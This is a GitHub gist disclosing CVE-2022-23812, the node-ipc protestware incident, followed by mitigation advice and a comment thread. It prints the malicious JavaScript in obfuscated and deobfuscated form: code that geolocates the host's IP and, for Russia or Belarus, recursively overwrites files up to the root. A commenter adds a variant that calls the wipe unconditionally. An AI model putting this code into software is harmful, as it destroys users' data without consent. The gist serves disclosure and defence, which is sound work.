Skip to content

Instantly share code, notes, and snippets.

@MidSpike
Last active January 29, 2025 18:02
Show Gist options
  • Save MidSpike/f7ae3457420af78a54b38a31cc0c809c to your computer and use it in GitHub Desktop.
Save MidSpike/f7ae3457420af78a54b38a31cc0c809c to your computer and use it in GitHub Desktop.
CVE-2022-23812 | RIAEvangelist/node-ipc is malware / protest-ware

RIAEvangelist/node-ipc is malware / protestware

The RIAEvangelist/node-ipc module contains protestware peacenotwar.

Excerpt from RIAEvangelist/node-ipc:

as of v11.0.0 & v9.2.2 this module uses the peacenotwar module.


More importantly, commits 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803 of RIAEvangelist/node-ipc contains malware.


⚠️| The following code is malicious, DO NOT RUN IT

https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

The following codeblock was added in-case the url above is deactivated
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

⚠️| The above code is malicious, DO NOT RUN IT


I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:


⚠️| The following code is malicious, DO NOT RUN IT

import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return;
    }
    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
    o.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"));
                }
            } catch (t) {}
        });
    });
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return;
    }
    let r = [];
    try {
        r = a.readdirSync(n);
    } catch (t) {}
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i);
        } catch (t) {
            continue;
        }
        if (t.isDirectory()) {
            const s = h(i, o);
            s.length > 0 ? f.push(...s) : null;
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function () {});
            } catch (t) {}
        }
    }
    return f;
}
const ssl = true;
export { ssl as default, ssl };

⚠️| The above code is malicious, DO NOT RUN IT


The following are excerpts from the malicious code:

Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`

The following demonstrates example of what each of the parameters going to the a.writeFile(i,c.toString("utf8") would be:

image


Edit 2022-03-16_0

Comment by zkyf

Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.

const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) {
        // return;
    }
    const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";

    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message = JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName = message[countryName.toString("utf8")].toLowerCase();
                const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });

    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);

async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
            try {
                // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️`
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}

Console: image


Edit 2022-03-16_1 (requested by @lgg)

Available mitigation methods:

The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: cnpm/bug-versions#181

If you use one of the following mitigation stratagies, make sure to remove the ^ to force node-ipc to the specified version.

"^9.x.x" -> "9.2.1"

     "dependencies": {
-        "node-ipc": "^9.x.x"
+        "node-ipc": "9.2.1"
     }

"^10.x.x" -> "10.1.0"

     "dependencies": {
-        "node-ipc": "^10.x.x"
+        "node-ipc": "10.1.0"
     }

"^11.x.x" -> "10.1.0"

     "dependencies": {
-        "node-ipc": "^11.x.x"
+        "node-ipc": "10.1.0"
     }

3rd-party mitigation methods:


Edit 2022-03-16_2 (requested by @lgg)

Edit 2022-03-17_0

@RIAEvangelist has banned me from interacting with their repositories

Edit 2022-03-17_1

The security research firm snyk.io recommends the following mitigation strategy for users of node-ipc:

package.json

  "overrides": {
    "node-ipc@>9.2.1 <10": "9.2.1",
    "node-ipc@>10.1.0": "10.1.0"
  }

Edit 2022-03-17_2 (credit: @Uzlopak)

NPM users below NPM v8, this is for you!

Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.

Yarn users, this is for you!

I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.

Edit 2022-03-17_3

Please read this message

I've been seeing a lot of hate comments going after the owner of node-ipc (especially on their repositories). We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.

Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812. I'm sure that the owner of node-ipc will be reprimanded by their employer, NPM, and GitHub.

Please do not threaten anyone here (or elsewhere for that matter).

Edit 2022-03-18_0

I've begun work on my own fork of node-ipc: MidSpike/node-ipc#1

@TheFrenchGhosty
Copy link

TheFrenchGhosty commented Mar 17, 2022

Banned too, they didn't like that: https://github.com/RIAEvangelist/node-ipc/issues/233#issuecomment-1071529143

He's trying to do damage control.

Copy link

ghost commented Mar 17, 2022

@MidSpike just out of curiosity, what happens if the geoip functions fail due to bad api keys? will it just default to not doing anything harmfull or just delete everything anyway?

@Myrkie
Copy link

Myrkie commented Mar 17, 2022

@MidSpike just out of curiosity, what happens if the geoip functions fail due to bad api keys? will it just default to not doing anything harmfull or just delete everything anyway?

the guy who made the repo invalidated the APIKey after he was caught so to try to cover his arse.

@MidSpike
Copy link
Author

MidSpike commented Mar 17, 2022

@MidSpike just out of curiosity, what happens if the geoip functions fail due to bad api keys? will it just default to not doing anything harmfull or just delete everything anyway?

@majorendian after some testing, (while the api-key is invalid), the only condition in which the malware would still execute is if the ipinfo api send back a response with country_name in the body after json parsing.

image
(ignore the line numbers as I have comments littering the code)

image

@forresthopkinsa
Copy link

I've joined the banned club 🎉

image

Copy link

ghost commented Mar 17, 2022

@MidSpike Ok, well that effectively means its disarmed if I am not mistaken

@MidSpike
Copy link
Author

MidSpike commented Mar 17, 2022

@majorendian I would err on the side of caution, all it takes for this specific malware to become armed again is for the api-key to be re-enabled.
Apart from that, the real concern should be with how projects manage their dependencies and how we as developers should conduct security evaluations.

@romanberdnikov
Copy link

Such people should be banned from any professional community permanently. It's one thing to call people to peace/restrict your services, and another thing to harm them. Imagine that someone puts a drawing pin on your chair - just because you are working with a Russian hosting company. Or a doctor will inject you a wrong medicine because he didn't like you.

Once they've been caught they make an innocent face, well, you need to look at the chair and check what medicine you have! And try to shut your mouth. That's ridiculous

Copy link

ghost commented Mar 17, 2022

image

He also edited my issue so that there is no content LOL man needs to read damage control 101 ASAP

@RigoOnRails
Copy link

RigoOnRails commented Mar 17, 2022

Here's his YouTube channel with his face: https://www.youtube.com/brandonnozakimiller

What he did was incredibly stupid & irresponsible.

@jellelicht
Copy link

jellelicht commented Mar 17, 2022

There have already been some catastrophic effects of this CVE: https://snippet.host/kvcb

This has to be fake.
Folks employed at this NGO should be tried for being criminally negligent. “Let’s keep records about a hostile, dictatorial regime stored on one server on one hard drive in their territory” is so stupid, it’s not even funny.
(Edit: formatting)

@Khodyn
Copy link

Khodyn commented Mar 17, 2022

Here's his self-created Wikipedia page and the page history, where you can see him creating it.

@MidSpike
Copy link
Author

Please read this message

I've been seeing a lot of hate comments going after the owner of node-ipc (especially on their repositories).
We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.

Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812.
I'm sure that the owner of node-ipc will be reprimanded by their employer, NPM, and GitHub.

Please do not threaten anyone here (or elsewhere for that matter).

@aphix
Copy link

aphix commented Mar 18, 2022

There have already been some catastrophic effects of this CVE: snippet.host/kvcb

This has to be fake. Folks employed at this NGO should be tried for being criminally negligent. “Let’s keep records about a hostile, dictatorial regime stored on one server on one hard drive in their territory” is so stupid, it’s not even funny. (Edit: formatting)

Being that the wider internet has been literally blocking access in and out of Russia, and Russia itself also has a form of digital-iron curtain in and out of it's wider networks, it's totally reasonable to assume that was not only the fastest, but safest and most reliable solution. On top of that, the same issue could be triggered via a VPN mistake, or by refugees having nowhere else to go, then having their drives wiped because they used some software when they finally escaped to safety in, say, Belarus.

Whether the NGO story is true or not, it's totally possible for collateral damage just like it (and/or even more innocent circumstances). In either case, I would say the package maintainer is wholly to blame, not the potential victim(s).

@lanmower
Copy link

If you used to like node-ipc, try hyper-ipc... its pretty cool, you can ipc behind nats without forwarding, you can move nodes without ip changes, ground-breaking.

If you got hit using vue.js, try nobuild style app making its awesome! I've been using riot.js with zero build tools for two years now, and never looked back, there is no easier way to build apps.

Don't look back! build back better!

@Tarkan-Zarrouk
Copy link

Dear sir who made this,

Thank you for making this gist, this documentation discussing the whole topic is astounding. There is so much info directing users who are using this in Russia and Belerus. I want to thank you for that. 👍

@jellelicht
Copy link

jellelicht commented Mar 18, 2022

There have already been some catastrophic effects of this CVE: snippet.host/kvcb

This has to be fake. Folks employed at this NGO should be tried for being criminally negligent. “Let’s keep records about a hostile, dictatorial regime stored on one server on one hard drive in their territory” is so stupid, it’s not even funny. (Edit: formatting)

Being that the wider internet has been literally blocking access in and out of Russia, and Russia itself also has a form of digital-iron curtain in and out of it's wider networks, it's totally reasonable to assume that was not only the fastest, but safest and most reliable solution. On top of that, the same issue could be triggered via a VPN mistake, or by refugees having nowhere else to go, then having their drives wiped because they used some software when they finally escaped to safety in, say, Belarus.

Whether the NGO story is true or not, it's totally possible for collateral damage just like it (and/or even more innocent circumstances). In either case, I would say the package maintainer is wholly to blame, not the potential victim(s).

Whether the NGO story is true or not is extremely relevant. You are simply speculating, making an already shoddy situation worse. Let’s stick to the facts: A package author had a moral lapse of judgement, they need to apologise ASAP and we all need to move on to more relevant things.

In addition: read the entire snippet before going with the otherwise reasonable ‘please do not victim blame’ argument.
I’m not absolving the malware author of any blame, I’m saying that this instance of news is either untrue or misreported.

From the snippet:

All I can say that your little shenanigan did more damage to us than Putin or Lukashenka ever could.

Which (I hope we can agree) is nonsense and uncalled for. It’s obvious the person who wrote that abomination of a sentence has no personal connections to folks suffering in Ukraine right now.
(Edit: spelling)

@EJTH
Copy link

EJTH commented Mar 18, 2022

Well if you just assume that anyone that says something inconvenient is a liar, then sure anything can be "untrue or misreported". Why are you covering this dudes ass? An example needs to be set.

I have personal connections to Ukraine and I would rather NOT have american activists destroy peoples files regardless of their nationality.

@Uzlopak
Copy link

Uzlopak commented Mar 18, 2022

@jellelicht

All I can say that your little shenanigan did more damage to us than Putin or Lukashenka ever could

The important part is "to us". "To us" means not to the Ukrainian people but to the NGO. If you drop the "to us" it would be a ridiculous claim. Anyhow...

@MidSpike

Can you link please to the commit
RIAEvangelist/node-ipc@847047c
?

RIAEvangelist tries to gaslight people by claiming that it was never nuking filesystems but only putting a textfile on the desktop.

@jellelicht
Copy link

Well if you just assume that anyone that says something inconvenient is a liar, then sure anything can be "untrue or misreported". Why are you covering this dudes ass? An example needs to be set.

I am not covering anyone, nor am I excusing anything. An example does not need to be set though, as that is not a productive way forward.

I have personal connections to Ukraine and I would rather NOT have american activists destroy peoples files regardless of their nationality.

agreed!

@jellelicht
Copy link

jellelicht commented Mar 18, 2022

@jellelicht

All I can say that your little shenanigan did more damage to us than Putin or Lukashenka ever could

The important part is "to us". "To us" means not to the Ukrainian people but to the NGO. If you drop the "to us" it would be a ridiculous claim. Anyhow...

Even with the “to us” it is.

@MidSpike

Can you link please to the commit RIAEvangelist/node-ipc@847047c ?

RIAEvangelist tries to gaslight people by claiming that it was never nuking filesystems but only putting a textfile on the desktop.

Stop making this stuff personal, leave this dude alone and start focusing on ways we can make sure nothing RIAEvangelist does ever impacts any of us again.

@Uzlopak
Copy link

Uzlopak commented Mar 18, 2022

@jellelicht
I still think this comparison is valid. But we can agree to disagree.

I think we should in the future replace all packages of RIAEvangelist with other projects. Replacing them in the big projects which reduces their download per month significantly to basically few thousand should bring others to use the more downloaded ones. E.g. hyper-ipc. Instead of node-ipc

Maybe we need another agreement for non-political actions? Maybe code of conduct already covers for this malicious behaviour?

@jellelicht
Copy link

jellelicht commented Mar 18, 2022

If I sign my commits as ‘[email protected]’, that is (naturally) a political statement. It should still be fine for anyone to do so though.

I’d rather link to a subset of the programmer’s oath as some kind of pledge instead, as it is a pledge based on intention. The problem is not politics, the problem is harmful intent.

@Uzlopak
Copy link

Uzlopak commented Mar 18, 2022

It is about utilizing code to be a political weapon. If you add "No to Putin and no to the Ukrainian War" then I could care less. But also keep in mind, that a Russia user of you package could face some serious reprimands.
So imho best is to keep politics out.

I am currently in a country with basically no freedom of expression. I wipe my phone from political statements regarding this country before I come here. Just to don't get issues if my phone gets seized.
So I actually think politics should be not be on GitHub at all.

@jellelicht
Copy link

Thank you for the calm and clear reasoning @Uzlopak. I can’t say I see things the same way, but that likely has more to do with the fact that I have the privilege of living in an environment where freedom of expression is a given.

@hanetzer
Copy link

Just want to point out archives and archives of archives of this code exist
https://archive.ph/n8oBX
https://web.archive.org/web/20220317213444/https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

This is not even archived, just a dangling commit on their own repo.
https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

Archives of me pointing this out
before nuke and ban:
https://archive.ph/bboiL
after nuke and ban:
https://archive.ph/UF7LM

@noblehng
Copy link

Political or not, there are all kind of reasons someone could put in malicious codes as I said above. This has been happened a lot in NPM before. There even had been some researchers trying to push malicious codes into linux kernel for their research.

NPM should do more to bar malicious codes from affecting users in the future. Russ Cox has a good write-up about this not long ago when colors-faker happened:
https://research.swtch.com/npm-colors

@ShikiSuen
Copy link

That repo owner is really shameless.

@MidSpike
Copy link
Author

@MidSpike

Can you link please to the commit RIAEvangelist/node-ipc@847047c ?

@Uzlopak Thank you for the suggestion, however a link to that commit is already included:

image

@superfedya
Copy link

@RIAEvangelist

Adding a malware that targets users by IP and erases all of their data isn't legal, no matter the reason is. I think taking care of this issue should be the authority job.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment